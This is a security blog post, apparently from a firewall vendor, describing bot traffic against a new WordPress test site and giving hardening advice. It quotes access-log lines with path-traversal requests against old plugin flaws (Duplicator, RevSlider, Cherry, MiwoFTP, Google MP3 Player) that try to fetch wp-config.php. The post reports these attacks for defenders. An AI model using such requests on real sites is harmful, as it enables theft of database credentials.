Automated Attacks Against WordPress Target Old Vulnerabilities

There is no denying WordPress’ dominance on the web. It’s used by almost every major organization in the world, and is the platform of choice for a lot of first-time entrepreneurs. And if you ever want confirmation, just look at what hosting companies are focusing on. They all dedicate countless resources to streamlining its deployment, and work hard to reduce onboarding friction for WordPress users.

Even with all that, what has made WordPress so popular amongst online users is also its biggest weakness — its extensibility.

It’s because of this that it’s imperative WordPress owners realize that deploying a site is step one. The subsequent steps should include the basics of security, maintenance routines, and thoughtful application configuration.

Automating Web Attacks Against WordPress

A couple of weeks ago, I installed a new WordPress site, along with a number of other CMS applications (e.g., Drupal, Joomla!), to run tests on our Content Delivery Network (CDN) and our Web Application Firewall (WAF). It took less than 30 minutes to have instances running — and only two hours before malicious traffic appeared.

By “malicious traffic,” we mean requests probing for things that may or may not exist, or actively attempting to exploit vulnerabilities.

As expected, the attempts were coming from a compromised host on M27 (IP: 193.176.84.xx). The automation is evident from the successive requests in a short time period.

Duplicator plugin: Arbitrary File Download

First, it tried the arbitrary file download vulnerability in the Duplicator plugin (circa 2020), which allows attackers to download arbitrary files:

193.176.84.xx 17/May/2021:05:33:34 +0000 "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=../wp-config.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

They didn’t even check if it was installed — they blindly tried to download wp-config.php. The 200 status only means the server responded; it doesn’t prove the download succeeded.

RevSlider: Arbitrary File Download

Next, they leveraged another arbitrary file download in the RevSlider plugin (circa 2014):

193.176.84.xx 17/May/2021:05:33:34 +0000 "GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 200 1 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

While we’d hope no one runs that outdated version, the fact it’s still in bot scripts suggests it still pays off.

Cherry plugin: Arbitrary File Upload/Download

Another oldie: Cherry plugin (circa 2016), which allowed both download and upload. In this run, they attempted a download of wp-config.php:

193.176.84.xx 17/May/2021:05:33:35 +0000 "GET /wp-content/plugins/cherry-plugin/admin/import-export/download-content.php?file=../ ../ ../ / wp-config.php HTTP/1.1" 403 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

If successful, the next step would likely be uploading a backdoor.

MiwoFTP plugin: Arbitrary File Download

Then the MiwoFTP plugin (circa 2015):

193.176.84.xx 17/May/2021:05:33:35 +0000 "GET /wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&srt=yes HTTP/1.1" 403 206 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

This one returned 403 because we block access to /wp-admin by default at the web server level.

Google MP3 Player plugin: File Disclosure

And the CodeArt Google MP3 Player plugin (circa 2014):

193.176.84.xx 17/May/2021:05:33:35 +0000 "GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php HTTP/1.1" 403 203 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

Security and Hardening of WordPress Instances

Attacks are automated and agnostic to your business. Harden and secure both new and existing WordPress instances. Not every host is the same; even “Managed WordPress” may draw a security line between what they handle and what you do. Talk to your host to clarify responsibilities.

The attacks above focus on older vulnerabilities because they still work in the wild. While a clean, brand-new instance is less likely to be vulnerable, risks rise when users install “free” versions from outside the official WordPress plugin repo. For existing sites, poor maintenance is the common culprit.

Basic hardening — like killing PHP execution in key directories (e.g., uploads, sometimes parts of wp-admin) — is essential and highly effective:

Killing PHP Execution

<FilesMatch "\.(php|php\.)$">
  Order allow,deny
  Deny from all
</FilesMatch>

We’ve helped safeguard millions of sites over the past decade. If all of this feels like too much overhead, consider a Web Application Firewall (WAF). Ours — and others — are designed to stop noisy scanning and, more importantly, block exploitation even if your site is susceptible.

Questions? We’re here to help: support@noc.org